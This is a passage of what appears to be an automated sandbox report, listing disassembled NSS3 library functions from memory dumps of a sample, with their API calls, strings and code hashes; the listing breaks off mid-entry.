sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5ABE66), ref: 6C6E70A0

Strings

winGetTempname4, xrefs: 6C6E7046
winGetTempname2, xrefs: 6C6E70C4
winGetTempname5, xrefs: 6C6E7071
winGetTempname1, xrefs: 6C6E708F
mz_etilqs_, xrefs: 6C6E6F18
Prl, xrefs: 6C6E70A8

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Prl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-107464401
Opcode ID: 256a340b726e376b7d55dbf1770e18076e6dd999d3890258125830a6fb541074
Instruction ID: e77c3aedeb073c0cde99337bdebd2a728fd4c9a357a7aa04abe1239a653ba388
Opcode Fuzzy Hash: 256a340b726e376b7d55dbf1770e18076e6dd999d3890258125830a6fb541074
Instruction Fuzzy Hash: 3A518BB1B092155BE31096309C55FFB36269FC631CF144539E90597BC2FF25E90E82DA

Function 6C674FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000,00000000,00000001), ref: 6C675009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2,00000000), ref: 6C675049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C67505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C675071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6750A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6750B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6275C2), ref: 6C6750CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6750D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6750F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C67512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C675153
free.MOZGLUE(?), ref: 6C67516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C67517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C675195

Strings

library=, xrefs: 6C675043
config=, xrefs: 6C67509B
name=, xrefs: 6C675057
nss=, xrefs: 6C675083
parameters=, xrefs: 6C67506B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 8e6314da201cc0041e668473dbd888ac26b3842d8cbbc42e8ad09a5f54af5a3c
Instruction ID: 4e766a4d252ad797df2f99a5f9b54ee40009e7159654dc8fa8ba8dd8e64ccd4c
Opcode Fuzzy Hash: 8e6314da201cc0041e668473dbd888ac26b3842d8cbbc42e8ad09a5f54af5a3c
Instruction Fuzzy Hash: EF51C8B1A112055BEB10DF24DC45AAF37A8AF06349F140870EC15E7741EB25E919CBBB

Function 6C674C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C5B
PR_smprintf.NSS3(6C74AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C674D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C664F51,00000000), ref: 6C674D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C674D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C674DA2
free.MOZGLUE(?), ref: 6C674DB9
free.MOZGLUE(00000000), ref: 6C674DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C674D9D
rootFlags, xrefs: 6C674D47
0x%08lx=[%s %s], xrefs: 6C674D80
slotFlags, xrefs: 6C674D34
any, xrefs: 6C674C96
ootT, xrefs: 6C674D1A
every, xrefs: 6C674CA1
timeout, xrefs: 6C674C91
%s,%s, xrefs: 6C674C4B
rust, xrefs: 6C674D22

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 91828d12aa2b41ecf7d33d97188a1532e42cbce0f6e434f763affd6d66b437d1
Instruction ID: c5a552fa739d5fc2cd14f5e10098579097c97ffe62e533774de25e7fae27be18
Opcode Fuzzy Hash: 91828d12aa2b41ecf7d33d97188a1532e42cbce0f6e434f763affd6d66b437d1
Instruction Fuzzy Hash: 35419EB1900141ABDB329F259D486BB36A9AF8234CF158534EC1547701E771D914CFFB

Function 6C656CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C656943
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C656957
Part of subcall function 6C656910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C656972
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C656983
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6569AA
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6569BE
Part of subcall function 6C656910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6569D2
Part of subcall function 6C656910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6569DF
Part of subcall function 6C656910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C656A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C656D8C
free.MOZGLUE(00000000), ref: 6C656DC5
free.MOZGLUE(?), ref: 6C656DD6
free.MOZGLUE(?), ref: 6C656DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C656E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656E72
free.MOZGLUE(?), ref: 6C656EA7
free.MOZGLUE(?), ref: 6C656EC4
free.MOZGLUE(?), ref: 6C656ED5
free.MOZGLUE(00000000), ref: 6C656EE3
free.MOZGLUE(?), ref: 6C656EF4
free.MOZGLUE(?), ref: 6C656F08
free.MOZGLUE(00000000), ref: 6C656F35
free.MOZGLUE(?), ref: 6C656F44
free.MOZGLUE(?), ref: 6C656F5B
free.MOZGLUE(00000000), ref: 6C656F65

Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C65781D,00000000,6C64BE2C,?,6C656B1D,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C40
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C65781D,?,6C64BE2C,?), ref: 6C656C58
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C65781D), ref: 6C656C6F
Part of subcall function 6C656C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C656C84
Part of subcall function 6C656C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C656C96
Part of subcall function 6C656C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C656CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C656FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C656FF4

Strings

+`fl, xrefs: 6C656D0D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`fl
API String ID: 1304971872-1761860945
Opcode ID: 8809b3ba63b3fab998856649f69747032d777288191fc64ecbac438910d1b66e
Instruction ID: ad3a5ca4bcbd0250b46e523d91a29af1d0d36011aff7a91a245e16a00d54a536
Opcode Fuzzy Hash: 8809b3ba63b3fab998856649f69747032d777288191fc64ecbac438910d1b66e
Instruction Fuzzy Hash: 17B16DB0E062099FEF10CBA5DC44B9EBBB9BF05349F640124E815E7740E731E925CBA9

Function 6C601FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C602007
calloc.MOZGLUE(00000001,00000084), ref: 6C602077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6020DF
TlsSetValue.KERNEL32(00000000), ref: 6C602188
PR_NewCondVar.NSS3 ref: 6C6021B7
calloc.MOZGLUE(00000001,00000084), ref: 6C60221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6022C2
GetLastError.KERNEL32 ref: 6C6022CD
free.MOZGLUE(00000000), ref: 6C6022DD

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

Strings

X wl, xrefs: 6C60218E
T wl, xrefs: 6C602361

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T wl$X wl
API String ID: 3559583721-1089957165
Opcode ID: 097240ecc1b4bba6dcccdcb95588b4986d9eee2b1c78d53ddf7563118aa35a35
Instruction ID: a52e431780138cb12968a4e1791da0110e22076eedae85fe83f0de69750102bf
Opcode Fuzzy Hash: 097240ecc1b4bba6dcccdcb95588b4986d9eee2b1c78d53ddf7563118aa35a35
Instruction Fuzzy Hash: B79178B0B01325CFDB29AF39890C7AB7BB4BF06709F00453EE55AE6A40DB709404CBA5

Function 6C61DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C61DDDE

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C61DDF5

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C61DE34
PR_Now.NSS3 ref: 6C61DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C61DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C61DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C61DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C61DEF0
PR_smprintf.NSS3(6C74AAF9,(NULL) (Validity Unknown)), ref: 6C61DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C61DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C61DF33
free.MOZGLUE(00000000), ref: 6C61DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C61DF4B
free.MOZGLUE(00000000), ref: 6C61DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C61DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6C61DEFA
%s%s, xrefs: 6C61DEEB
{???}, xrefs: 6C61DE8B

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 54943dfd163976bf516d6e9ecf9d8fd67b57463af45233b2f3730aea3ebd095a
Instruction ID: 0d0d2f4eebef737ebffbae2e08ec36953352bb057bd7e484b58db5a528a2305c
Opcode Fuzzy Hash: 54943dfd163976bf516d6e9ecf9d8fd67b57463af45233b2f3730aea3ebd095a
Instruction Fuzzy Hash: 1D51C1B1E042059FDB119E698C45AAF7AB8AF8535AF144029EC09E7B00E731E905CBE9

Function 6C652D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C652DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C652E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C652E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C652E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C,?,-00000001,00000000,?), ref: 6C652E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C624F1C,?,-00000001,00000000), ref: 6C652E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C652EF8
PR_Unlock.NSS3(?), ref: 6C652F62
TlsGetValue.KERNEL32 ref: 6C652F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C652F9E
PR_Unlock.NSS3(?), ref: 6C652FCA
TlsGetValue.KERNEL32 ref: 6C65301A
EnterCriticalSection.KERNEL32(?), ref: 6C65302E
PR_Unlock.NSS3(?), ref: 6C653066
PR_SetError.NSS3(00000000,00000000), ref: 6C653085
PR_Unlock.NSS3(?), ref: 6C6530EC
TlsGetValue.KERNEL32 ref: 6C65310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C653124
PR_Unlock.NSS3(?), ref: 6C65314C

Part of subcall function 6C639180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C66379E,?,6C639568,00000000,?,6C66379E,?,00000001,?), ref: 6C63918D
Part of subcall function 6C639180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C66379E,?,6C639568,00000000,?,6C66379E,?,00000001,?), ref: 6C6391A0

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

PR_SetError.NSS3(00000000,00000000), ref: 6C65316D

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: de980117bfa28968705a1f0dc5e835105030a16c455ffa72ea535c5ddd6d4d82
Instruction ID: 6279189291e184f6df7607eaf211a3dae7f54786a62847f4d7dd1564d7517743
Opcode Fuzzy Hash: de980117bfa28968705a1f0dc5e835105030a16c455ffa72ea535c5ddd6d4d82
Instruction Fuzzy Hash: 06F190B1E00218AFDF01DF64D844BADBBB4BF0A318F644169EC05A7711E731E9A5CB95

Function 6C639FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C639FBE

Part of subcall function 6C612F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C612F0A
Part of subcall function 6C612F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C612F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C63A015

Part of subcall function 6C651940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C65563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C65195C
Part of subcall function 6C651940: EnterCriticalSection.KERNEL32(?,?,6C65563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C62EAC5,00000001), ref: 6C651970
Part of subcall function 6C651940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C62EAC5,00000001,?,6C62CE9B,00000001,6C62EAC5), ref: 6C6519A0

PL_FreeArenaPool.NSS3(?), ref: 6C63A067
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C63A055

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63A07E
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C63A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C63A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C63A0CF
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C63A12E
PL_FreeArenaPool.NSS3(?), ref: 6C63A140
PL_FinishArenaPool.NSS3(?), ref: 6C63A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C63A158
PL_FinishArenaPool.NSS3(?), ref: 6C63A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C63A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C63A1B2
free.MOZGLUE(00000000), ref: 6C63A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C63A1D6

Part of subcall function 6C6555E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C62EAC5,00000001,?,6C62CE9B,00000001,6C62EAC5,00000003,-00000004,00000000,?,6C62EAC5), ref: 6C655627
Part of subcall function 6C6555E0: PR_CallOnce.NSS3(6C772AA4,6C6712D0,?,?,?,?,?,?,?,?,?,?,6C62EAC5,00000001,?,6C62CE9B), ref: 6C65564F
Part of subcall function 6C6555E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C62EAC5,00000001), ref: 6C655661
Part of subcall function 6C6555E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C62EAC5), ref: 6C6556AF

Strings

security, xrefs: 6C63A00F

Memory Dump Source

Source File: 00000000.00000002.2662972797.000000006C591000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2662550146.000000006C590000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667847853.000000006C76E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2667915017.000000006C76F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668166004.000000006C770000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2668314970.000000006C775000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_R2CgZG545D.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 193dbbbcb8934c0e1f44040f9587c4a043c113f671fc47d958477bc3c9108dae
Instruction ID: 5f67879ae440de37026302a00be757225cdcb1ef1318a2a1eac2a166a5b6d11e
Opcode Fuzzy Hash: 193dbbbcb8934c0e1f44040f9587c4a043c113f671fc47d958477bc3c9108dae
Instruction Fuzzy Hash: 59510771D00219ABEF108BE4DC44FAE7378AF4230CF106524E81DAAB42E775D919D7AE

Function 6C646D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C646D86
